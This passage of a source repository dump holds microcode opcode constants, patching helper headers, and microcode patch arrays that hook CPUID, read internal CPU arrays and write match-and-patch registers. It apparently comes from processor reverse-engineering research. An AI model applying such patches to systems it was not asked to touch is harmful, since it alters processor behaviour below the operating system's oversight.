_LDTICKLE_DSZ16_ASZ32_SC1 (0xc8aUL << 32) 666 | /* #define _LDZX_DSZ16_ASZ32_SC1 (0xc90UL << 32) */ 667 | /* #define _LEA_DSZ16_ASZ32_SC1 (0xc93UL << 32) */ 668 | /* #define _STAD_DSZ16_ASZ32_SC1 (0xc98UL << 32) */ 669 | /* #define _STADTICKLE_DSZ16_ASZ32_SC1 (0xc99UL << 32) */ 670 | /* #define _LDTICKLE_DSZ16_ASZ32_SC1 (0xc9aUL << 32) */ 671 | #define _LDZX_DSZ16_ASZ32_SC1 (0xcb0UL << 32) 672 | /* #define _LEA_DSZ16_ASZ32_SC1 (0xcb3UL << 32) */ 673 | /* #define _STAD_DSZ16_ASZ32_SC1 (0xcb8UL << 32) */ 674 | /* #define _STADTICKLE_DSZ16_ASZ32_SC1 (0xcb9UL << 32) */ 675 | /* #define _LDTICKLE_DSZ16_ASZ32_SC1 (0xcbaUL << 32) */ 676 | #define _MOVNTDQ (0xcbeUL << 32) 677 | #define _LDZX_DSZ8_ASZ32_SC1 (0xcc0UL << 32) 678 | #define _LEA_DSZ8_ASZ32_SC1 (0xccfUL << 32) 679 | #define _STAD_DSZ8_ASZ32_SC1 (0xcc8UL << 32) 680 | #define _STADTICKLE_DSZ8_ASZ32_SC1 (0xcc9UL << 32) 681 | #define _LDTICKLE_DSZ8_ASZ32_SC1 (0xccaUL << 32) 682 | /* #define _LDZX_DSZ8_ASZ32_SC1 (0xcd0UL << 32) */ 683 | /* #define _LEA_DSZ8_ASZ32_SC1 (0xcd3UL << 32) */ 684 | /* #define _STAD_DSZ8_ASZ32_SC1 (0xcd8UL << 32) */ 685 | /* #define _STADTICKLE_DSZ8_ASZ32_SC1 (0xcd9UL << 32) */ 686 | /* #define _LDTICKLE_DSZ8_ASZ32_SC1 (0xcdaUL << 32) */ 687 | #define _STAD_DSZ8_ASZ64_SC1 (0xce8UL << 32) 688 | /* #define _LDZX_DSZ8_ASZ32_SC1 (0xcf0UL << 32) */ 689 | /* #define _LEA_DSZ8_ASZ32_SC1 (0xcf3UL << 32) */ 690 | #define _LDHINT_BUFFER_ASZ32_SC1 (0xcf5UL << 32) 691 | /* #define _STAD_DSZ8_ASZ32_SC1 (0xcf8UL << 32) */ 692 | /* #define _STADTICKLE_DSZ8_ASZ32_SC1 (0xcf9UL << 32) */ 693 | /* #define _LDTICKLE_DSZ8_ASZ32_SC1 (0xcfaUL << 32) */ 694 | #define _MASKMOVDQU (0xcfeUL << 32) 695 | #define _LDZX_DSZ32_ASZ32_SC4 (0xd00UL << 32) 696 | #define _LEA_DSZ32_ASZ32_SC4 (0xd03UL << 32) 697 | #define _STAD_DSZ32_ASZ32_SC4 (0xd08UL << 32) 698 | #define _STADTICKLE_DSZ32_ASZ32_SC4 (0xd09UL << 32) 699 | #define _LDTICKLE_DSZ32_ASZ32_SC4 (0xd0aUL << 32) 700 | #define _PORTIN_DSZ32_ASZ16_SC1 (0xd0bUL << 32) 701 | #define _PORTOUT_DSZ32_ASZ16_SC1 (0xd0fUL << 32) 702 | /* #define _LDZX_DSZ32_ASZ32_SC4 (0xd10UL << 32) */ 703 | /* #define _LEA_DSZ32_ASZ32_SC4 (0xd13UL << 32) */ 704 | /* #define _STAD_DSZ32_ASZ32_SC4 (0xd18UL << 32) */ 705 | /* #define _STADTICKLE_DSZ32_ASZ32_SC4 (0xd19UL << 32) */ 706 | /* #define _LDTICKLE_DSZ32_ASZ32_SC4 (0xd1aUL << 32) */ 707 | /* #define _LDZX_DSZ32_ASZ32_SC1 (0xd30UL << 32) */ 708 | /* #define _LEA_DSZ32_ASZ32_SC1 (0xd33UL << 32) */ 709 | /* #define _STAD_DSZ32_ASZ32_SC1 (0xd38UL << 32) */ 710 | /* #define _STADTICKLE_DSZ32_ASZ32_SC1 (0xd39UL << 32) */ 711 | /* #define _LDTICKLE_DSZ32_ASZ32_SC1 (0xd3aUL << 32) */ 712 | #define _LDZX_DSZ64_ASZ32_SC4 (0xd40UL << 32) 713 | #define _LEA_DSZ64_ASZ32_SC4 (0xd43UL << 32) 714 | #define _STAD_DSZ64_ASZ32_SC4 (0xd48UL << 32) 715 | #define _STADTICKLE_DSZ64_ASZ32_SC4 (0xd49UL << 32) 716 | #define _LDTICKLE_DSZ64_ASZ32_SC4 (0xd4aUL << 32) 717 | #define _PORTIN_DSZ64_ASZ16_SC1 (0xd4bUL << 32) 718 | #define _PORTOUT_DSZ64_ASZ16_SC1 (0xd4fUL << 32) 719 | /* #define _LDZX_DSZ64_ASZ32_SC4 (0xd50UL << 32) */ 720 | /* #define _LEA_DSZ64_ASZ32_SC4 (0xd53UL << 32) */ 721 | /* #define _STAD_DSZ64_ASZ32_SC4 (0xd58UL << 32) */ 722 | /* #define _STADTICKLE_DSZ64_ASZ32_SC4 (0xd59UL << 32) */ 723 | /* #define _LDTICKLE_DSZ64_ASZ32_SC4 (0xd5aUL << 32) */ 724 | /* #define _LDZX_DSZ64_ASZ32_SC1 (0xd70UL << 32) */ 725 | /* #define _LEA_DSZ64_ASZ32_SC1 (0xd73UL << 32) */ 726 | #define _STAD_DSZ64_ASZ32_SC8 (0xd78UL << 32) 727 | /* #define _STADTICKLE_DSZ64_ASZ32_SC1 (0xd79UL << 32) */ 728 | /* #define _LDTICKLE_DSZ64_ASZ32_SC1 (0xd7aUL << 32) */ 729 | #define _LDZX_DSZ16_ASZ32_SC4 (0xd80UL << 32) 730 | #define _LEA_DSZ16_ASZ32_SC4 (0xd83UL << 32) 731 | #define _STAD_DSZ16_ASZ32_SC4 (0xd88UL << 32) 732 | #define _STADTICKLE_DSZ16_ASZ32_SC4 (0xd89UL << 32) 733 | #define _LDTICKLE_DSZ16_ASZ32_SC4 (0xd8aUL << 32) 734 | #define _PORTIN_DSZ16_ASZ16_SC1 (0xd8bUL << 32) 735 | #define _PORTOUT_DSZ16_ASZ16_SC1 (0xd8fUL << 32) 736 | /* #define _LDZX_DSZ16_ASZ32_SC4 (0xd90UL << 32) */ 737 | /* #define _LEA_DSZ16_ASZ32_SC4 (0xd93UL << 32) */ 738 | /* #define _STAD_DSZ16_ASZ32_SC4 (0xd98UL << 32) */ 739 | /* #define _STADTICKLE_DSZ16_ASZ32_SC4 (0xd99UL << 32) */ 740 | /* #define _LDTICKLE_DSZ16_ASZ32_SC4 (0xd9aUL << 32) */ 741 | /* #define _LDZX_DSZ16_ASZ32_SC1 (0xdb0UL << 32) */ 742 | /* #define _LEA_DSZ16_ASZ32_SC1 (0xdb3UL << 32) */ 743 | /* #define _STAD_DSZ16_ASZ32_SC1 (0xdb8UL << 32) */ 744 | /* #define _STADTICKLE_DSZ16_ASZ32_SC1 (0xdb9UL << 32) */ 745 | /* #define _LDTICKLE_DSZ16_ASZ32_SC1 (0xdbaUL << 32) */ 746 | #define _LDZX_DSZ8_ASZ32_SC4 (0xdc0UL << 32) 747 | #define _LEA_DSZ8_ASZ32_SC4 (0xdc3UL << 32) 748 | #define _STAD_DSZ8_ASZ32_SC4 (0xdc8UL << 32) 749 | #define _STADTICKLE_DSZ8_ASZ32_SC4 (0xdc9UL << 32) 750 | #define _LDTICKLE_DSZ8_ASZ32_SC4 (0xdcaUL << 32) 751 | #define _PORTIN_DSZ8_ASZ16_SC1 (0xdcbUL << 32) 752 | #define _PORTOUT_DSZ8_ASZ16_SC1 (0xdcfUL << 32) 753 | /* #define _LDZX_DSZ8_ASZ32_SC4 (0xdd0UL << 32) */ 754 | /* #define _LEA_DSZ8_ASZ32_SC4 (0xdd3UL << 32) */ 755 | /* #define _STAD_DSZ8_ASZ32_SC4 (0xdd8UL << 32) */ 756 | /* #define _STADTICKLE_DSZ8_ASZ32_SC4 (0xdd9UL << 32) */ 757 | /* #define _LDTICKLE_DSZ8_ASZ32_SC4 (0xddaUL << 32) */ 758 | /* #define _LDZX_DSZ8_ASZ32_SC1 (0xdf0UL << 32) */ 759 | /* #define _LEA_DSZ8_ASZ32_SC1 (0xdf3UL << 32) */ 760 | /* #define _STAD_DSZ8_ASZ32_SC1 (0xdf8UL << 32) */ 761 | /* #define _STADTICKLE_DSZ8_ASZ32_SC1 (0xdf9UL << 32) */ 762 | /* #define _LDTICKLE_DSZ8_ASZ32_SC1 (0xdfaUL << 32) */ 763 | #define _LDPPHYS_DSZ32_ASZ16_SC1 (0xe00UL << 32) 764 | #define _STADPPHYS_DSZ32_ASZ16_SC1 (0xe08UL << 32) 765 | /* #define _LDPPHYS_DSZ32_ASZ16_SC1 (0xe0aUL << 32) */ 766 | #define _STADPPHYSTICKLE_DSZ32_ASZ16_SC1 (0xe0dUL << 32) 767 | #define _LDPPHYS_DSZ32_ASZ64_SC1 (0xe20UL << 32) 768 | #define _LDPPHYSTICKLE_DSZ32_ASZ64_SC1 (0xe25UL << 32) 769 | #define _STADPPHYS_DSZ32_ASZ64_SC1 (0xe28UL << 32) 770 | /* #define _LDPPHYS_DSZ32_ASZ64_SC1 (0xe2aUL << 32) */ 771 | #define _STADPPHYSTICKLE_DSZ32_ASZ64_SC1 (0xe2dUL << 32) 772 | #define _SIMDSTADPPHYS_DSZ32_ASZ64_SC1 (0xe2eUL << 32) 773 | #define _LDPPHYS_DSZ32_ASZ64_SC8 (0xe30UL << 32) 774 | #define _STADPPHYS_DSZ32_ASZ64_SC8 (0xe38UL << 32) 775 | /* #define _LDPPHYS_DSZ32_ASZ64_SC8 (0xe3aUL << 32) */ 776 | #define _LDPPHYS_DSZ64_ASZ16_SC1 (0xe40UL << 32) 777 | #define _STADPPHYS_DSZ64_ASZ16_SC1 (0xe48UL << 32) 778 | /* #define _LDPPHYS_DSZ64_ASZ16_SC1 (0xe4aUL << 32) */ 779 | #define _STADPPHYSTICKLE_DSZ64_ASZ16_SC1 (0xe4dUL << 32) 780 | #define _LDPPHYS_DSZ64_ASZ64_SC1 (0xe60UL << 32) 781 | #define _LDPPHYSTICKLE_DSZ64_ASZ64_SC1 (0xe65UL << 32) 782 | #define _STADPPHYS_DSZ64_ASZ64_SC1 (0xe68UL << 32) 783 | /* #define _LDPPHYS_DSZ64_ASZ64_SC1 (0xe6aUL << 32) */ 784 | #define _STADPPHYSTICKLE_DSZ64_ASZ64_SC1 (0xe6dUL << 32) 785 | #define _SIMDSTADPPHYS_DSZ64_ASZ64_SC1 (0xe6eUL << 32) 786 | #define _LDPPHYS_DSZ64_ASZ64_SC8 (0xe70UL << 32) 787 | #define _LDSTGBUF_DSZ64_ASZ16_SC1 (0xe75UL << 32) 788 | #define _STADPPHYS_DSZ64_ASZ64_SC8 (0xe78UL << 32) 789 | /* #define _LDPPHYS_DSZ64_ASZ64_SC8 (0xe7aUL << 32) */ 790 | #define _STADSTGBUF_DSZ64_ASZ16_SC1 (0xe7dUL << 32) 791 | #define _LDPPHYS_DSZ16_ASZ16_SC1 (0xe80UL << 32) 792 | #define _STADPPHYS_DSZ16_ASZ16_SC1 (0xe88UL << 32) 793 | /* #define _LDPPHYS_DSZ16_ASZ16_SC1 (0xe8aUL << 32) */ 794 | #define _STADPPHYSTICKLE_DSZ16_ASZ16_SC1 (0xe8dUL << 32) 795 | #define _LDPPHYS_DSZ16_ASZ64_SC1 (0xea0UL << 32) 796 | #define _LDPPHYSTICKLE_DSZ16_ASZ64_SC1 (0xea5UL << 32) 797 | #define _STADPPHYS_DSZ16_ASZ64_SC1 (0xea8UL << 32) 798 | /* #define _LDPPHYS_DSZ16_ASZ64_SC1 (0xeaaUL << 32) */ 799 | #define _STADPPHYSTICKLE_DSZ16_ASZ64_SC1 (0xeadUL << 32) 800 | #define _SIMDLSTADSTGBUF_DSZ64_ASZ32_SC1 (0xeaeUL << 32) 801 | #define _LDPPHYS_DSZ16_ASZ64_SC8 (0xeb0UL << 32) 802 | #define _STADPPHYS_DSZ16_ASZ64_SC8 (0xeb8UL << 32) 803 | /* #define _LDPPHYS_DSZ16_ASZ64_SC8 (0xebaUL << 32) */ 804 | #define _LDPPHYS_DSZ8_ASZ16_SC1 (0xec0UL << 32) 805 | #define _STADPPHYS_DSZ8_ASZ16_SC1 (0xec8UL << 32) 806 | /* #define _LDPPHYS_DSZ8_ASZ16_SC1 (0xecaUL << 32) */ 807 | #define _LDHINT_CACHEALL_ASZ64_SC1 (0xecbUL << 32) 808 | #define _STADPPHYSTICKLE_DSZ8_ASZ16_SC1 (0xecdUL << 32) 809 | #define _LDHINT_CACHE1_ASZ64_SC1 (0xedbUL << 32) 810 | #define _LDPPHYS_DSZ8_ASZ64_SC1 (0xee0UL << 32) 811 | #define _LDPPHYSTICKLE_DSZ8_ASZ64_SC1 (0xee5UL << 32) 812 | #define _STADPPHYS_DSZ8_ASZ64_SC1 (0xee8UL << 32) 813 | /* #define _LDPPHYS_DSZ8_ASZ64_SC1 (0xeeaUL << 32) */ 814 | #define _LDHINT_CACHE2_ASZ64_SC1 (0xeebUL << 32) 815 | #define _STADPPHYSTICKLE_DSZ8_ASZ64_SC1 (0xeedUL << 32) 816 | #define _SIMDHSTADSTGBUF_DSZ64_ASZ32_SC1 (0xeeeUL << 32) 817 | #define _LDPPHYS_DSZ8_ASZ64_SC8 (0xef0UL << 32) 818 | #define _STADPPHYS_DSZ8_ASZ64_SC8 (0xef8UL << 32) 819 | /* #define _LDPPHYS_DSZ8_ASZ64_SC8 (0xefaUL << 32) */ 820 | #define _LDPPHYS_DSZ32_ASZ32_SC4 (0xf00UL << 32) 821 | #define _STADPPHYS_DSZ32_ASZ32_SC4 (0xf08UL << 32) 822 | /* #define _LDPPHYS_DSZ32_ASZ32_SC4 (0xf0aUL << 32) */ 823 | #define _LDPPHYS_DSZ32_ASZ32_SC1 (0xf20UL << 32) 824 | #define _STADPPHYS_DSZ32_ASZ32_SC1 (0xf28UL << 32) 825 | /* #define _LDPPHYS_DSZ32_ASZ32_SC1 (0xf2aUL << 32) */ 826 | #define _LDPPHYS_DSZ32_ASZ32_SC8 (0xf30UL << 32) 827 | #define _STADPPHYS_DSZ32_ASZ32_SC8 (0xf38UL << 32) 828 | /* #define _LDPPHYS_DSZ32_ASZ32_SC8 (0xf3aUL << 32) */ 829 | #define _LDPPHYS_DSZ64_ASZ32_SC4 (0xf40UL << 32) 830 | #define _STADPPHYS_DSZ64_ASZ32_SC4 (0xf48UL << 32) 831 | /* #define _LDPPHYS_DSZ64_ASZ32_SC4 (0xf4aUL << 32) */ 832 | #define _MPOP (0xf4bUL << 32) 833 | #define _MPUSH (0xf4fUL << 32) 834 | #define _LDPPHYS_DSZ64_ASZ32_SC1 (0xf60UL << 32) 835 | #define _LDPPHYSTICKLE_DSZ64_ASZ32_SC1 (0xf65UL << 32) 836 | #define _STADPPHYS_DSZ64_ASZ32_SC1 (0xf68UL << 32) 837 | /* #define _LDPPHYS_DSZ64_ASZ32_SC1 (0xf6aUL << 32) */ 838 | #define _MCALL_DIRECT (0xf6fUL << 32) 839 | #define _LDPPHYS_DSZ64_ASZ32_SC8 (0xf70UL << 32) 840 | #define _STADPPHYS_DSZ64_ASZ32_SC8 (0xf78UL << 32) 841 | /* #define _LDPPHYS_DSZ64_ASZ32_SC8 (0xf7aUL << 32) */ 842 | #define _UCALLPARAM_INDIRECT (0xf7fUL << 32) 843 | #define _LDPPHYS_DSZ16_ASZ32_SC4 (0xf80UL << 32) 844 | #define _STADPPHYS_DSZ16_ASZ32_SC4 (0xf88UL << 32) 845 | /* #define _LDPPHYS_DSZ16_ASZ32_SC4 (0xf8aUL << 32) */ 846 | #define _LDPPHYS_DSZ16_ASZ32_SC1 (0xfa0UL << 32) 847 | #define _STADPPHYS_DSZ16_ASZ32_SC1 (0xfa8UL << 32) 848 | /* #define _LDPPHYS_DSZ16_ASZ32_SC1 (0xfaaUL << 32) */ 849 | #define _LDPPHYS_DSZ16_ASZ32_SC8 (0xfb0UL << 32) 850 | #define _STADPPHYS_DSZ16_ASZ32_SC8 (0xfb8UL << 32) 851 | /* #define _LDPPHYS_DSZ16_ASZ32_SC8 (0xfbaUL << 32) */ 852 | #define _LDPPHYS_DSZ8_ASZ32_SC4 (0xfc0UL << 32) 853 | #define _STADPPHYS_DSZ8_ASZ32_SC4 (0xfc8UL << 32) 854 | /* #define _LDPPHYS_DSZ8_ASZ32_SC4 (0xfcaUL << 32) */ 855 | #define _LDPPHYS_DSZ8_ASZ32_SC1 (0xfe0UL << 32) 856 | #define _STADPPHYS_DSZ8_ASZ32_SC1 (0xfe8UL << 32) 857 | /* #define _LDPPHYS_DSZ8_ASZ32_SC1 (0xfeaUL << 32) */ 858 | #define _LBSYNC (0xfefUL << 32) 859 | #define _LDPPHYS_DSZ8_ASZ32_SC8 (0xff0UL << 32) 860 | #define _STADPPHYS_DSZ8_ASZ32_SC8 (0xff8UL << 32) 861 | /* #define _LDPPHYS_DSZ8_ASZ32_SC8 (0xffaUL << 32) */ 862 | #define _SFENCE (0xfffUL << 32) 863 | 864 | #define _PINTMOVQI2XMMHQ_DSZ64 (0x746UL << 32) 865 | #define _PINTMOVQI2XMMLQ_DSZ64 (0x747UL << 32) 866 | #define _PINTMOVQXMMLQ2I_DSZ64 (0x76fUL << 32) 867 | 868 | #endif // OPCODE_H_ 869 | -------------------------------------------------------------------------------- /include/patch.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCH_H_ 2 | #define PATCH_H_ 3 | #include "misc.h" 4 | 5 | u64 ucode_addr_to_patch_addr(u64 addr); 6 | u64 patch_addr_to_ucode_addr(u64 addr); 7 | u64 ucode_addr_to_patch_seqword_addr(u64 addr); 8 | void patch_ucode(u64 addr, ucode_t ucode_patch[], int n); 9 | void init_match_and_patch(void); 10 | void hook_match_and_patch(u64 entry_idx, u64 ucode_addr, u64 patch_addr); 11 | u64 ldat_array_read(u64 pdat_reg, u64 array_sel, u64 bank_sel, u64 dword_idx, u64 fast_addr); 12 | void do_fix_IN_patch(); 13 | void print_patch(u64 addr, ucode_t ucode_patch[], int n); 14 | 15 | #endif // PATCH_H_ 16 | -------------------------------------------------------------------------------- /include/seqword.h: -------------------------------------------------------------------------------- 1 | 2 | #define SEQ_UP0(u) ( ((u) & 0b11) << 0 ) 3 | #define SEQ_UP1(u) ( ((u) & 0b11) << 6 ) 4 | #define SEQ_UP2(u) ( ((u) & 0b11) << 23 ) 5 | 6 | #define SEQ_EFLOW(x) ( ((x) & 0b1111) << 2 ) 7 | #define SEQ_UADDR(addr) ( ((addr) & 0x7fffUL) << 8 ) 8 | #define SEQ_SYNC(x) ( ((x) & 0b111) << 25 ) 9 | 10 | // idx controls which uop in triad to target 11 | 12 | #define SEQ_URET0(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0x2) ) 13 | #define SEQ_URET1(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0x3) ) 14 | #define SEQ_SAVEUIP0(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0x4) ) 15 | #define SEQ_SAVEUIP1(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0x5) ) 16 | #define SEQ_SAVEUIP0_REGOVR(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0x6) ) 17 | #define SEQ_SAVEUIP1_REGOVR(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0x7) ) 18 | #define SEQ_WRTAGW(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0x8) ) 19 | #define SEQ_MSLOOP(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0x9) ) 20 | #define SEQ_MSSTOP(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0xb) ) 21 | #define SEQ_UEND0(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0xc) ) 22 | #define SEQ_UEND1(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0xd) ) 23 | #define SEQ_UEND2(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0xe) ) 24 | #define SEQ_UEND3(idx) ( SEQ_UP0(idx) | SEQ_EFLOW(0xf) ) 25 | 26 | #define SEQ_GOTO0(addr) ( SEQ_UP1(0) | SEQ_UADDR(addr) ) 27 | #define SEQ_GOTO1(addr) ( SEQ_UP1(1) | SEQ_UADDR(addr) ) 28 | #define SEQ_GOTO2(addr) ( SEQ_UP1(2) | SEQ_UADDR(addr) ) 29 | 30 | #define SEQ_LFNCEWAIT(idx) ( SEQ_UP2(idx) | SEQ_SYNC(1) ) 31 | #define SEQ_LFNCEMARK(idx) ( SEQ_UP2(idx) | SEQ_SYNC(2) ) 32 | #define SEQ_LFNCEWTMRK(idx) ( SEQ_UP2(idx) | SEQ_SYNC(3) ) 33 | #define SEQ_SYNCFULL(idx) ( SEQ_UP2(idx) | SEQ_SYNC(4) ) 34 | #define SEQ_SYNCWAIT(idx) ( SEQ_UP2(idx) | SEQ_SYNC(5) ) 35 | #define SEQ_SYNCMARK(idx) ( SEQ_UP2(idx) | SEQ_SYNC(6) ) 36 | #define SEQ_SYNCWTMRK(idx) ( SEQ_UP2(idx) | SEQ_SYNC(7) ) 37 | 38 | // shortcuts 39 | #define SEQ_NOP 0 40 | #define SEQ_NEXT SEQ_UP1(3) 41 | #define SEQ_NOSYNC SEQ_UP2(3) 42 | 43 | #define NOP_SEQWORD ( SEQ_NOP | SEQ_NEXT | SEQ_NOSYNC ) 44 | #define END_SEQWORD ( SEQ_UEND0(2) | SEQ_NEXT | SEQ_LFNCEWAIT(2) ) 45 | -------------------------------------------------------------------------------- /include/ucode/cpuid.h: -------------------------------------------------------------------------------- 1 | unsigned long addr = 0x7c10; 2 | unsigned long hook_address = 0x0be0; 3 | ucode_t ucode_patch[] = { 4 | { // 0x7c10 5 | MOVE_DSZ64_DI(TMP2, 0x8000), 6 | CONCAT_DSZ16_DRI(TMP2, TMP2, 0x2), 7 | XOR_DSZ64_DRR(TMP0, TMP2, RAX), 8 | NOP_SEQWORD, 9 | }, 10 | { // 0x7c14 11 | UJMPCC_DIRECT_NOTTAKEN_CONDZ_RI(TMP0, 0x7c20), 12 | ADD_DSZ32_DRI(TMP2, TMP2, 0x1), 13 | XOR_DSZ64_DRR(TMP0, TMP2, RAX), 14 | NOP_SEQWORD 15 | }, 16 | { // 0x7c18 17 | UJMPCC_DIRECT_NOTTAKEN_CONDZ_RI(TMP0, 0x7c2c), 18 | ADD_DSZ32_DRI(TMP2, TMP2, 0x1), 19 | XOR_DSZ64_DRR(TMP0, TMP2, RAX), 20 | NOP_SEQWORD 21 | }, 22 | { // 0x7c18 23 | UJMPCC_DIRECT_NOTTAKEN_CONDZ_RI(TMP0, 0x7c38), 24 | MOVE_DSZ64_DI(TMP0, 0xa), 25 | NOP, 26 | SEQ_GOTO2(0x4808) 27 | }, 28 | 29 | { // 0x7c20 30 | MOVE_DSZ64_DI(RAX, 0x7473), 31 | CONCAT_DSZ16_DRI(RAX, RAX, 0x7563), 32 | MOVE_DSZ64_DI(RBX, 0x632d), 33 | NOP_SEQWORD 34 | }, 35 | { // 0x7c24 36 | CONCAT_DSZ16_DRI(RBX, RBX, 0x6d6f), 37 | MOVE_DSZ64_DI(RCX, 0x6620), 38 | CONCAT_DSZ16_DRI(RCX, RCX, 0x7570), 39 | NOP_SEQWORD 40 | }, 41 | { // 0x7c28 42 | MOVE_DSZ64_DI(RDX, 0x4720), 43 | CONCAT_DSZ16_DRI(RDX, RDX, 0x726f), 44 | NOP, 45 | END_SEQWORD 46 | }, 47 | 48 | { // 0x7c2c 49 | MOVE_DSZ64_DI(RAX, 0x6d64), 50 | MOVE_DSZ64_DRI(RAX, RAX, 0x6c6f), 51 | MOVE_DSZ64_DI(RBX, 0x2074), 52 | NOP_SEQWORD 53 | }, 54 | { // 0x7c30 55 | MOVE_DSZ64_DRI(RBX, RBX, 0x6e6f), 56 | MOVE_DSZ64_DI(RCX, 0x7a20), 57 | MOVE_DSZ64_DRI(RCX, RCX, 0x7962), 58 | NOP_SEQWORD 59 | }, 60 | { // 0x7c34 61 | MOVE_DSZ64_DI(RDX, 0x6564), 62 | MOVE_DSZ64_DRI(RDX, RDX, 0x6e61), 63 | NOP, 64 | END_SEQWORD 65 | }, 66 | 67 | { // 0x7c38 68 | MOVE_DSZ64_DI(RAX, 0x206b), 69 | MOVE_DSZ64_DRI(RAX, RAX, 0x6472), 70 | MOVE_DSZ64_DI(RBX, 0x2064), 71 | NOP_SEQWORD 72 | }, 73 | { // 0x7c3c 74 | MOVE_DSZ64_DRI(RBX, RBX, 0x6e61), 75 | MOVE_DSZ64_DI(RCX, 0x646c), 76 | MOVE_DSZ64_DRI(RCX, RCX, 0x794d), 77 | NOP_SEQWORD 78 | }, 79 | { // 0x7c40 80 | MOVE_DSZ64_DI(RDX, 0x006f), 81 | MOVE_DSZ64_DRI(RDX, RDX, 0x7265), 82 | NOP, 83 | END_SEQWORD 84 | } 85 | }; -------------------------------------------------------------------------------- /include/ucode/ldat_read.h: -------------------------------------------------------------------------------- 1 | unsigned long addr = 0x7de0; 2 | ucode_t ucode_patch[] = { 3 | { // 0x7de0 4 | MOVE_DSZ64_DR(TMP0, RDI), 5 | MOVE_DSZ64_DR(TMP1, RSI), 6 | MOVE_DSZ64_DR(TMP2, RDX), 7 | NOP_SEQWORD 8 | }, 9 | { // 0x7de4 10 | ZEROEXT_DSZ32_DI(TMP10, 0x0), 11 | ADD_DSZ32_DRI(TMP11, TMP0, 0x1), 12 | ADD_DSZ32_DRI(TMP12, TMP0, 0x2), 13 | NOP_SEQWORD 14 | }, 15 | { // 0x7de8 16 | // pause frontend 17 | MOVEFROMCREG_DSZ64_DI(TMP9, 0x38c), 18 | MOVETOCREG_DSZ64_RI(TMP10, 0x38c), 19 | MOVEFROMCREG_DSZ64_DR(TMP13, TMP11), 20 | NOP_SEQWORD 21 | }, 22 | { // 0x7dec 23 | MOVETOCREG_DSZ64_RR(TMP1, TMP11), 24 | MOVETOCREG_DSZ64_RR(TMP2, TMP0), 25 | MOVEFROMCREG_DSZ64_DR(RAX, TMP12), 26 | NOP_SEQWORD 27 | }, 28 | { // 0x7df0 29 | MOVETOCREG_DSZ64_RR(TMP10, TMP11), 30 | MOVETOCREG_DSZ64_RI(TMP9, 0x38c), 31 | NOP, 32 | END_SEQWORD 33 | }, 34 | }; 35 | -------------------------------------------------------------------------------- /include/ucode/match_and_patch_hook.h: -------------------------------------------------------------------------------- 1 | unsigned long addr = 0x7de0; 2 | ucode_t ucode_patch[] = { 3 | { // 0x7de0 4 | MOVE_DSZ64_DR(TMP0, RDI), 5 | MOVE_DSZ64_DR(TMP1, RSI), 6 | ZEROEXT_DSZ32_DI(TMP10, 0x0), 7 | NOP_SEQWORD 8 | }, 9 | { // 0x7de4 10 | // pause frontend 11 | MOVEFROMCREG_DSZ64_DI(TMP12, 0x38c), 12 | MOVETOCREG_DSZ64_RI(TMP10, 0x38c), 13 | // write match&patch at location tmp1 with the value of tmp0 14 | ZEROEXT_DSZ32_DI(TMP9, 0x303), 15 | NOP_SEQWORD 16 | }, 17 | { // 0x7de8 18 | SHL_DSZ32_DRI(TMP9, TMP9, 0x8), 19 | MOVETOCREG_DSZ64_RI(TMP9, 0x6a1), 20 | MOVETOCREG_DSZ64_RI(TMP1, 0x6a0), 21 | NOP_SEQWORD 22 | }, 23 | { // 0x7dec 24 | MOVETOCREG_DSZ64_RI(TMP0, 0x6a4), 25 | MOVETOCREG_DSZ64_RI(TMP10, 0x6a4), 26 | MOVETOCREG_DSZ64_RI(TMP10, 0x6a1), 27 | NOP_SEQWORD 28 | }, 29 | { // 0x7df0 30 | // restore frontend 31 | MOVETOCREG_DSZ64_RI(TMP12, 0x38c), 32 | ZEROEXT_DSZ32_DI(RAX, 0x1337), 33 | CONCAT_DSZ16_DRI(RAX, RAX, 0x1337), 34 | END_SEQWORD 35 | }, 36 | }; 37 | -------------------------------------------------------------------------------- /include/ucode/match_and_patch_init.h: -------------------------------------------------------------------------------- 1 | unsigned long addr = 0x7de0; 2 | ucode_t ucode_patch[] = { 3 | { // 0x7de0 4 | ZEROEXT_DSZ32_DI(TMP0, 0x0), 5 | ZEROEXT_DSZ32_DI(TMP9, 0x303), 6 | SHL_DSZ32_DRI(TMP9, TMP9, 0x8), 7 | NOP_SEQWORD 8 | }, 9 | { // 0x7de4 10 | MOVETOCREG_DSZ64_RI(TMP9, 0x6a1), 11 | MOVETOCREG_DSZ64_RI(TMP0, 0x6a0), 12 | // write match&patch [0, 0x20] 13 | WRMSLOOPCTRFBR_I(0x20), 14 | NOP_SEQWORD 15 | }, 16 | { // 0x7de8 17 | MOVETOCREG_DSZ64_RI(TMP0, 0x6a4), 18 | MOVETOCREG_DSZ64_RI(TMP0, 0x6a4), 19 | TESTUSTATE_UCODE(UST_MSLOOPCTR_NONZERO), 20 | SEQ_GOTO2( (addr + 8 ) ) 21 | }, 22 | { // 0x7dec 23 | MOVETOCREG_DSZ64_RI(TMP0, 0x6a1), 24 | ZEROEXT_DSZ32_DI(RAX, 0x1337), 25 | CONCAT_DSZ16_DRI(RAX, RAX, 0x1337), 26 | END_SEQWORD 27 | } 28 | }; 29 | -------------------------------------------------------------------------------- /include/ucode_macro.h: -------------------------------------------------------------------------------- 1 | #ifndef UCODE_MACRO_H_ 2 | #define UCODE_MACRO_H_ 3 | 4 | #include "opcode.h" 5 | 6 | #define MOD0 (1UL << 23) 7 | #define MOD1 (1UL << 44) 8 | #define MOD2 (1UL << 45) 9 | 10 | __attribute__((always_inline)) 11 | static inline unsigned long long parity0(unsigned long long value) { 12 | unsigned long long parity = 0; 13 | while (value) { 14 | parity ^= (value & 1); 15 | value = value >> 2; 16 | } 17 | return parity; 18 | } 19 | 20 | __attribute__((always_inline)) 21 | static inline unsigned long long parity1(unsigned long long value) { 22 | unsigned long long parity = 0; 23 | value = value >> 1; 24 | while (value) { 25 | parity ^= (value & 1); 26 | value = value >> 2; 27 | } 28 | return parity; 